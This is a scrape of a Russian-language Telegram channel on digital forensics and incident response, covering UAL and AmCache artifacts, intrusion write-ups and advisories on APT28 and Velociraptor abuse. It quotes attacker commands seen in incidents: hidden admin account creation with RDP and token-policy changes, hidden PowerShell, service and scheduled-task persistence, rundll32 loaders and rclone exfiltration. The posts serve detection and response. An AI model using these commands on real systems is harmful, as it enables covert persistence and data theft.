DFIR Father
480 subscribers
48 photos
2 files
32 links
🕵🏻‍♂️ Focused entirely on Digital Forensics and Incident Response.
👀 Sharing tools, techniques, and practical cases for DFIR professionals.

👨🏻‍💻 Author: @sepi0lh4ze

https://t.me/boost/DFIRFather
Download Telegram
👀 User Access Logging: быстрый источник латералки в Windows Server

UAL — системный сборщик статистики обращений к серверу по ролям. По-простому: кто, с какого IP и к какому серверу прикладывался в конкретный день. Работает на Windows Server 2012+ и по умолчанию включен на поддерживаемых системах. Полезно для реконструкции латералки и подтверждения "кто куда ходил". 🏃‍♂️

Где лежит и что даёт ⁉️
• Пути:
C:\Windows\System32\LogFiles\SUM\Current.mdb
C:\Windows\System32\LogFiles\SUM\SystemIdentity.mdb
C:\Windows\System32\LogFiles\SUM\<GUID>.mdb

• Формат: ESE-базы
• Retention: обычно 2–3 года. Current.mdb хранит последние 24 часа, затем данные перекладываются в годовой <GUID>.mdb.

Как аккуратно забрать на живой системе⁉️
Файлы залочены ОС, поэтому берем низкоуровневую копию:
RawCopy.exe /FileNamePath:C:\Windows\System32\LogFiles\SUM\Current.mdb ^
/OutPath:C:\DFIR\SUM\


Дальше парсим. Самые удобные тулзы: Eric Zimmerman SumECmd и Brian Moran KStrike. Пример на SumECmd:
SumECmd.exe -d C:\DFIR\SUM\ --csv C:\DFIR\OUT\

На выходе будут CSV, где по дням видно User → ClientIP → FirstSeen/LastSeen → Role — идеальная основа для таймлайна латералки. 📈

Быстрый опрос без выгрузки 🆒
На live-хосте UAL читается через WMI/PowerShell:
# WMI
gwmi -Namespace "root\AccessLogging" -Query `
"SELECT * FROM MsftUal_DeviceAccess WHERE LastSeen >= '2025-01-01'"

# Cmdlets
Get-UalUserAccess
Get-UalDailyUserAccess


Зачем DFIR-щику ⁉️
• Подтверждаем факты ходок: кто и когда дергал конкретный сервер.
• Строим узлы латералки там, где события RDP/SMB могли "сгореть".
• Сопоставляем роль сервера и характер обращений, чтобы поднять приоритет и зону зачистки.
• Держим историю за 2–3 года — удобно для ретро-поиска повторов и атрибуции.

Нет SIEM? 😆
Не парься, UAL довезет таймлайн 🇵🇰

🐦‍⬛ DFIR Father
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5🔥441
А теперь пришел и мой черед позвать всех вас на KazHackStan 😜

Вместе с Шерханом на примере расследования реального инцидента мы расскажем, как из «мелочей» вырос фулл-домен рейд.
Факапы админов, лестница из дырок, артефакты на каждом шаге — все покажем, все разжуем. 👍

🔗 https://t.me/kazhackstan2023/476
🔗 https://kazhackstan.com/

🐦‍⬛ DFIR Father
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10651
Sekoia.io рапортует об интересной цепочке APT28

APT28 в 2025 использует гибрид open-source + легитимные облачные сервисы для скрытого C2: старт — weaponized Office (Signal ⟶ макросы) → COM-hijack DLL (prnfldr.dll) → извлечение shellcode из PNG (стеганография) → запуск .NET Grunt HTTP Stager (Covenant) → Koofr как C2 (C2Bridge) → последующие модули (PlaySndSrv.dll + sample-03.wav) декриптят и ставят BeardShell (icedrive C2). Параллельно обнаружен SlimAgent (keylogger/screenshots). Технично, стабильно, хитро — используют regsvr32 / COM hijack, PNG LSB-стеганографию, в-памяти загрузку .NET, ChaCha20-Poly1305 для BeardShell.


Стега в 2025 👀👀👀

Интересные техники, к прочтению:
🔗https://blog.sekoia.io/apt28-operation-phantom-net-voxel/

🦔 THF
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥111
Ну, получается, выступил! 😮‍💨

Всем спасибо, кто пришел послушать из подписчиков, и тем, кто подписался после доклада. 😽

Эксклюзивно для вас я подготовлю мини-райтап того, что я рассказал на конференции.

Ждите 🔥
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥212👍2🫡211
Так, мини-каникулы после конфы позади - запускаю серию ежедневных небольших райтапиков по самым вкусным и интересным моментам из доклада. 🕺

Fck-upology of the Infrastructure: Mistakes That Build an Attack (Part 1) 💀
***Все написанное - плод больного воображения автора!


В первую очередь хочу зафиксировать тейк: удобство для админа = преимущество для злоумышленника. В расследованиях снова и снова всплывают исключения и времянки, которые когда-то запитчили менеджменту ради скорости. Увы, эти «удобства» потом прилетают по полной инфре 😢

Сегментация как шутка 😾
На бумаге при проектировании было три зоны: пользовательская, сервисная и доменная. В реале - одна большая плоская сеть. Определены «коридоры доверия» через легитные SMB/RPC/WMI/WinRM и межзонные NTLM-логоны. Для АКТОРа это уже не хак, а поездка по прямым рельсам: Domain -> Service -> User.

⚠️ Fuckup: Mail server = HQ
В этой инфре Exchange перестал быть просто почтовиком и превратился в оперативный штаб злоумышленников. Почему так вышло:

1. В типовых директориях лежали .aspx вебшеллы, которые ловили запросы извне и исполняли команды на стороне клиента:
C:\inetpub\wwwroot\owa\auth\*.aspx
C:\inetpub\wwwroot\aspnet_client\*.aspx


2. В журналах видно скрытые инстансы PowerShell (в журналах Exchange [EID 1] и PwShClassic [EID 400]):
powershell.exe -noni -nop -w hidden -c "<cmd>"


3. Псевдо-«WindowsUpdate» в планировщике задач:
C:\Windows\System32\Tasks\WindowsUpdate
Эта штука тащила в автозапуск GetPst.ps1, который собирал пачки PST и скидывал их на шару (сам скрипт - на скрине). 📝

👀 Вкратце, что делал скрипт:
- сохранял дату на сетевую шару;
- выдавал супер-админу роль на экспорт почты;
- читал список почтовых ящиков из C:\Users\public\documents\2.txt;
- по каждому создавал New-MailboxExportRequest;
- складывал PST в \\share\...\temp\<mailbox>.pst;
- по завершении удалял экспорт-запросы, чтобы не светиться.

Итог простой: почтовик = тихий C2 и лутбокс. Админские «времянки» и плоская сеть превращают инфраструктуру в трассу для актора. 🙂

До завтра!

🐦‍⬛ DFIR Father
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6521
Продолжаем! Сегодня поведаю о похожем, но не менее интересном приеме злоумышленников.🤓

Fck-upology of the Infrastructure: Mistakes That Build an Attack (Part 2) 💀
***Все написанное - плод больного воображения автора!


Важный тейк на сегодня: удобство для админа часто превращается в запасной ключ для злоумышленника. Кикнули актора из AD — он все равно вернется по RDP, если у вас открыт черный ход на локалках!

⚠️ Fuckup: Local Backdoor as “Plan B”
Акторы держат запасной путь через скрытую локальную учетку и пару тихих политик. Доменные креды сгорели? Не страшно — локальная дверь осталась открыта.

🔍 Какие артефакты я видел на диске:
C:\ProgramData\Microsoft\QuickHeal\123.bat — неприметный батник, который все делает за них.

Что он делает под капотом? 😁
- Добавляет скрытого Administrator$ в группу пользователей RDP:
net localgroup "Пользователи удаленного рабочего стола" Administrator$ /add


- Прячет учетку от UI через реестр (hidden=0):
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList


- Выдает полный админ-токен в ремоут-сессиях:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy=1


- Делает учетку бессрочной:
net user Administrator$ /expires:never


- И финт ушами — самоудаление: 🤔
del %0


Почему это больно? 🥺
Потому что учетки локальных админов разрешены и почти не мониторятся. Что уж говорить о незаметных правках политик по типу RDP или фильтрации токенов, которые тонут среди всей рутины. Ну и для актора ничего не поменялось, потому что когда доменную дверь закрыли —> локальная осталась открыта.

👀 DFIR-наброски для себя
Смотрим членство в локальных группах, свежие задачи в планировщике, ключи UserList и LocalAccountTokenFilterPolicy, таймлайн создания Administrator$ и запусков cmd/pwsh рядом. Если почистили домен, но кто-то продолжает логиниться по RDP — ищите такой «план Б».

До завтра!

🐦‍⬛ DFIR Father
Please open Telegram to view this post
VIEW IN TELEGRAM
7🔥111
Возвращаемся к разбору факапов и техник злоумышленников!

Fck-upology of the Infrastructure: Mistakes That Build an Attack (Part 3) 💀
***Все написанное - плод больного воображения автора!


Сегодняшний важный тейк 📌
Актору не нужны зиродеи, если вы закрыли глаза на C:\ProgramData.
Персистенс тут не баг, а бизнес-модель — положили стартовый набор в места, куда админы регулярно пишут, и он живет как родной.

⚠️ Fuckup: Persistence on Autopilot
Если ProgramData доступен для записи и у админов нет жестких бэйслайнов, закрепление превращается в рутину. Патчей может быть сколько угодно — но пока базовые директории и процессы не поставлены под контроль, атакующие будут возвращаться снова и снова.

Факт. Акторы жили в системных путях и ProgramData, пряча свои компоненты под нейтральными именами. Их стартер-пак —это сервисы, запланированные задачи, Run-ключи и многостадийные вредоносы в ProgramData. 😱

👀 Почему это плохо
• Рутинные админ-операции = persistence by design.
• ProgramData — отличная площадка для различного рода залетной малвари.
• Нейтральные имена и папки типа Microsoft* или Windows* тонут в системном шуме.
• Нет жестких ограничений — недоверенный код работает как доверенный.

Какие артефакты я видел при исследовании:
• sc create WinUpdateSvc binPath= "C:\ProgramData\Microsoft\googleup.exe …
• C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File c:\programdata\microsoft\MF\GetPst.ps1
• C:\ProgramData\Microsoft\MF\procdump64.exe
• C:\Windows\Microsoft.net\Framework64\v4.0.30319\MicrosoftServerManager.exe


Парадокс в том, что это часто не выглядит как малварь - а как админская рутина: подписанный exe в ProgramData, таск в Microsoft\Windows, PowerShell-скрипт, запущенный админом. Для расследования это гадко, легитимность мешает увидеть зло. 👿

🔍 Что глянуть в первую очередь:
• Сервисы с binPath в C:\ProgramData: Get-WmiObject Win32_Service | Where { $_.PathName -like "*ProgramData*" }
• Нестандартные задачи в Task Scheduler (TN в Microsoft\Windows с ProgramData).
• Исполняемые файлы в ProgramData или в других типовых директориях + проверка подписи (Get-AuthenticodeSignature).
• Логи запуска PowerShell с особым вниманием на -ExecutionPolicy Bypass/-WindowStyle Hidden.

Итог. Патчи важны, но иногда персистенс нужно просто вырезать из практики — поменять регламенты, ограничить запись в ProgramData, ввести белые списки сервисов и контроль тасков. Если для админов это станет обычной рутиной, то как минимум для актора лишней головной болью. 😠

🐦‍⬛ DFIR Father
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥3👀211
🔍 Forensic journey: hunting evil within AmCache

AmCache.hve — один из ключевых forensic-артефактов Windows, фиксирующий метаданные о бинарях: путь, размер, версию, SHA-1 (до 31 MB), PE-LinkDate, Publisher и др. Его ценность в том, что даже удалённые или модифицированные файлы оставляют следы, а сами записи сложно подделать или стереть.

Основные forensic-ключи AmCache
InventoryApplicationFile — все исполняемые файлы: путь, имя, версия, SHA-1, PE-LinkDate. Позволяет находить удалённые утилиты (пример: winscp.exe в Downloads).
InventoryApplication — сведения об установленных приложениях: InstallDate, MSI-метаданные, UninstallString. Хорошо палит удалённый AnyDesk.
InventoryDriverBinary — загруженные драйверы: хэш, путь, подпись, LastModified. Используется для ловли уязвимых/вредоносных драйверов (см. LOLDrivers, AV Killer).
InventoryApplicationShortcut — .lnk-файлы (путь и цель), полезно для подтверждения использования стёртых приложений.

⚠️ Ограничения:
SHA-1 хранится только по первым ~31 MB бинаря → большие малвари не хэшируются полностью.
Не всё = факт запуска: часть записей фиксирует только присутствие файла.

🛠 AmCache-EvilHunter
Kaspersky🍿 выпустили CLI-утилиту для парсинга Amcache.hve:
фильтрация по дате (--start/--end),
поиск по ключевым словам (--search),
экспорт в CSV/JSON,
автоматический поиск “suspicious” бинарей (scvhost.exe, 1.exe, случайные hex-имена),
фильтры по Publisher (--missing-publisher) и системным компонентам (--exclude-os),
интеграция с VirusTotal и Kaspersky OpenTIP (--vt, --opentip).

🎯 Практические use-cases
Поиск удалённых бинарей (инсайдер использовал winscp.exe).
Фиксация временной установки AnyDesk для RMM.
Корреляция драйверов для выявления BYOVD и persistence.
Проверка ярлыков для подтверждения запуска софта.

📌 Вывод:
AmCache ≠ “история запусков”, но это must-have артефакт DFIR, особенно в связке с Prefetch, ShimCache и event-логами. Правильный парсинг + TI-lookup → IOC-генерация, восстановление таймлайна, обнаружение удалённых утилит и драйверов.

🔗 https://securelist.com/amcache-forensic-artifact/117622/
🦔 THF
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
3👍2🔥1
👀 Подоспел кратенький разбор полетов нового отчета
The DFIR Report!
Один клик по налоговой форме "W-9" — и у тебя в сети незаметный квартирант почти на два месяца. 😏

Актор зашел через социалку. Жертва открывает сильно обфусцированный JS Form_W-9_…js, скрипт молча тянет MSI.msi с хоста и через легитимный rundll32 подхватывает DLL-ку — следующий этап уже Brute Ratel и цепочка инъекций. Дальше следует буквально пошаговая экспансия: loader → badger → инъекция в системные процессы → снаффер/стилер.

Дальше — Latrodectus в explorer.exe, BackConnect/VNC для живого просмотра файлов и аплоада дополнительного инструментария, а затем поиск "сокровищ": браузерные профили, дампы LSASS, и внимание — unattend.xml с plain-text админ-кредами, найденный на третьи сутки. 🥷
Один файл — и у них доменный админ в кармане. Что-то мне это напоминает...

Когда они стянули доменного админа, у акторов буквально загорелись глаза:
🤩
runas / Secondary Logon для получения токенов, развёртывание Cobalt Strike (первые файлы — cron801.dl_ → позже system.dl_, запуск через rundll32 cron801.dl_,lvQkzdrFdILT) и массовое lateral-движение через PsExec / RDP на DC, файло- и backup-серверы.
Пара процессов, которые облегчают распознавание цепочки: rundll32 → explorer.exe(инжект) → sihost.exe (инжект Cobalt) → gpupdate.exe (run as Domain Admin) → spoolsv.exe (инжект).

Пауза для пары ярких артефактов:
• MSI внутри .cab-файлика с upfilles.dll и кастомным shellcode/RC4 развёртывателем Brute Ratel; wscadminui.dll появится позже как заменитель badger’а.
.NET-бэкдор lsassa.exe, который кладет в ресурс зашифрованный пэйлоуд, ставит запланнированный таск и стучиться к C2 каждые ~250 секунд.

🌐 Про сеть и эксфиль: на ~20-й день злоумышленники запускают переименованный rclone для массового съёма файлов со шары и гонят их по FTP в течении ~10 часов подряд — классическая "долгая перетяжка" данных, а не один короткий слив. После этого снова — пауза, повторные визиты, дампы бэкапов, реконкига и скан подсетей rustscan.

🍽 Технические строки, которые стоит знать и глянуть в логах (копипаста для заметок, не для эксплуатации):
# стартовая команда из кейса
cmd.exe /K chcp 65001 && c: && cd c:\

# Brute Ratel / Cobalt запускают через rundll32
rundll32 wscadminui.dll, wsca
rundll32 cron801.dl_,lvQkzdrFdILT

# scheduled task от lsassa.exe
schtasks /create /tn "SchedulerLsass" /tr "%ALLUSERSPROFILE%\USOShared\lsassa.exe" /sc onstart

# rclone (переименованный бинарь) - типичный пример
"C:\Windows\Temp\sihosts.exe" rclone copy "C:\share" remote:bucket --config "C:\Users\Public\rclone.conf"


Что лично цепляет в этом кейсе: 🤓
1. Начало — не фишинг-послание с явным приколом, а псевдолегит-JS, замаскированный под W-9, с тонкой обфускацией (много комментов/филлеров). Это рвет большинство "сигнатурных" детектов, если не делать deobf/JS-энжин-хантинг.
2. Использование легитимных бинарей Windows (rundll32, schtasks) + популярных админ-утилит (PsExec, RDP) = blend-in поведение. Т.е. вор крадёт под видом штатных операций.
3. И самый факапный факап — unattend.xml как слабое звено. Если автоматизированные деплой-файлы хранятся с плейн-текстом админок, это почти гарантированный disaster при наличии начального доступа. 😎

👀 А само изящество кейса в том, что тут нет яркой взрывной активности. Все сделано по-взрослому, в маске легитимных тулзов. Ну и скорее всего акторы сознательно чередовали длинные периоды "тишины" и короткие всплески активности, чтобы уклоняться от базовых триггеров.

🔗 https://thedfirreport.com/2025/09/29/from-a-single-click-how-lunar-spider-enabled-a-near-two-month-intrusion/

🐦‍⬛ DFIR Father
Please open Telegram to view this post
VIEW IN TELEGRAM
52🔥1
Windows Persistence Map v0.1.jpg
2.8 MB
Сегодня расскажу вам о базной базе — закреплении в системе, aka persistence.

Почему это важно? 📝
Потому что без закрепления злоумышленник — родственник проездом. Сбросил сессию, и до свидания! А вот если он прописался в автозагрузке, службе, драйвере или даже в кодеке — готовься, это уже "долгосрочная аренда" 👎

На постере — классная карта от Florian Thiele: все способы закрепа в Windows в одном месте. От старых добрых Run-ключей до хитрых Winlogon-хуков и LSA Providers. Короче, если хочешь знать, где может жить злоумышленник — это твоя топографическая карта ада. 😈

🔍 Как всё это проверять:
• На живом хосте: юзай Autoruns от Sysinternals. Видно всё, от автозагрузки до драйверов.
• Если у тебя мертвый диск: бери uVS (Universal Virus Sniffer), старичок, но всё видит.
• В дампе памяти: в бой идёт Volatility3 с кастомным плагином autorun (ссыль на гитхаб приложу). Очень удобно, кстати))

🌚 Совет: если видишь странный таск с cmd /c powershell -exec bypass, или DLL в AppData — не думай долго, копай глубже.
Persistence — это не след, это подпись жильца. А жильцы бывают разные. 🥴

🔗 https://how2itsec.blogspot.com/2025/03/windows-persistence-map-v01.html
🔗 https://github.com/PXS-LU-CSIRT/volatility3-autoruns

🐦‍⬛ DFIR Father
Please open Telegram to view this post
VIEW IN TELEGRAM
44🔥2
🦖Velociraptor теперь в руках ransomware

Сisco Talos подтвердили: операторы ransomware используют Velociraptor как «тихий RMM/оркестратор» внутри сети жертвы 🐈‍⬛. В инциденте августа 2025 акторы связаны с Storm-2603 (mod. confidence) и параллельно катили Warlock, LockBit и Babuk: Windows шифровали с расширением .xlockxlock, ESXi — частично с .babyk. Развёртывание шло через тихий MSI (Blob Storage), дальнейшее — Impacket/Smbexec, правки GPO для глушения Defender, доступ к vSphere и fileless PowerShell для массового шифрования и эксфильтрации (тихий режим $ProgressPreference='SilentlyContinue', задержки Start-Sleep). Среди IOC — C2 на workers.dev. Начальный вектор с высокой вероятностью — эксплуатация цепочки SharePoint ToolShell. Это не баг Velociraptor — это злоупотребление его легит-функциями.

😁Отдельно про уязвимость: CVE-2025-6264
В Talos-кейсах злоумышленники ставили старый Velociraptor 0.73.4.0, уязвимый к CVE-2025-6264 (эскалация через артефакт Admin.Client.UpdateClientConfig при наличии прав COLLECT_CLIENT → произвольные команды/захват агента). Исправления опубликованы в ветке ≥ 0.74.3 — обновляйтесь.


🐈‍⬛Что делать, как защищаться

1️⃣ Инвентаризация и контроль установок
- Проверьте, что все серверы/агенты Velociraptor — ваши; «левых» инсталляций быть не должно.
- Запретите исполнение неподписанных бинарей Velociraptor; официальные билды Rapid7 — подписаны.
- Алерты на новые службы/таски с velociraptor.exe и исходящие к портам :8000 / :8001 / :8889; при сомнениях — ротируйте API/Auth-ключи.

2️⃣ Базовые детекты «чужого» Velociraptor
- При первом старте создаётся источник EventLog Velociraptor:
HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\Velociraptor — mtime ≈ первый запуск.
- Каждый запуск пишет в Application Event ID 1000 с ARGV (--config, client.config.yaml, service run). Это ловит внезапные установки/рестарты и нестандартные аргументы.
- Если бинарь пересобрали и вырезали IOCs — он, как правило, без подписи Rapid7 → ловите политиками/EDR.
- Используйте готовые YARA (уникальные строки Velociraptor) и экспериментальное Sigma для детекта нестандартных путей/аргументов/unsigned.

3️⃣ Патч-менеджмент и «Golden» клиент
- Обновите сервер/агентов до ≥ 0.74.3 (CVE-2025-6264), перевыпустите «Golden» клиент и перепроверьте client.config.yaml (сервер, сертификаты, политики).

4️⃣ Закройте TTP из кейса Talos
- Блокируйте подозрительные MSI-загрузки (Blob/msiexec /q /i https://...), мониторьте Impacket/Smbexec-паттерны.
- Контролируйте GPO-правки, отключающие RTP/Behavior Monitoring/“monitor file & program activity” — это немедленный инцидент.
- Следите за доступом к vSphere и созданием/синком админ-аккаунтов в Entra ID.
- Охотьтесь на fileless PowerShell-шифратор и скрипт эксфильтрации (тихий режим + паузы).

5️⃣Охотьтесь Velociraptor-ом за Velociraptor-ом
- Если у вас уже развёрнут Velociraptor — используйте артефакт Velociraptor Inception (Rapid7 Labs) для поиска несанкционированных инстансов.

6️⃣ Политики, роли и артефакты
- Ограничьте доступ к «опасным» артефактам через required_permissions, не раздавайте широкие роли (ARTIFACT_WRITER) «кому попало», верифицируйте артефакты перед публикацией (artifacts verify)

🔗https://www.rapid7.com/blog/post/pt-identifying-and-mitigating-potential-velociraptor-abuse/
🔗https://docs.velociraptor.app/knowledge_base/tips/velocirator_misuse/
🔗https://blog.talosintelligence.com/velociraptor-leveraged-in-ransomware-attacks/

🦔THF

Rapid7 отдельно подчёркивает: это злоупотребление легит-инструментом, а не баг в продукте. Но без базовой гигиены вы рискуете потерять контроль над агентами и превратиться в C2-точку для APT/криминала. Включите детекты из их гайда (в т.ч. Sigma/YARA) и проведите экспресс-аудит прямо сегодня.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
64🗿1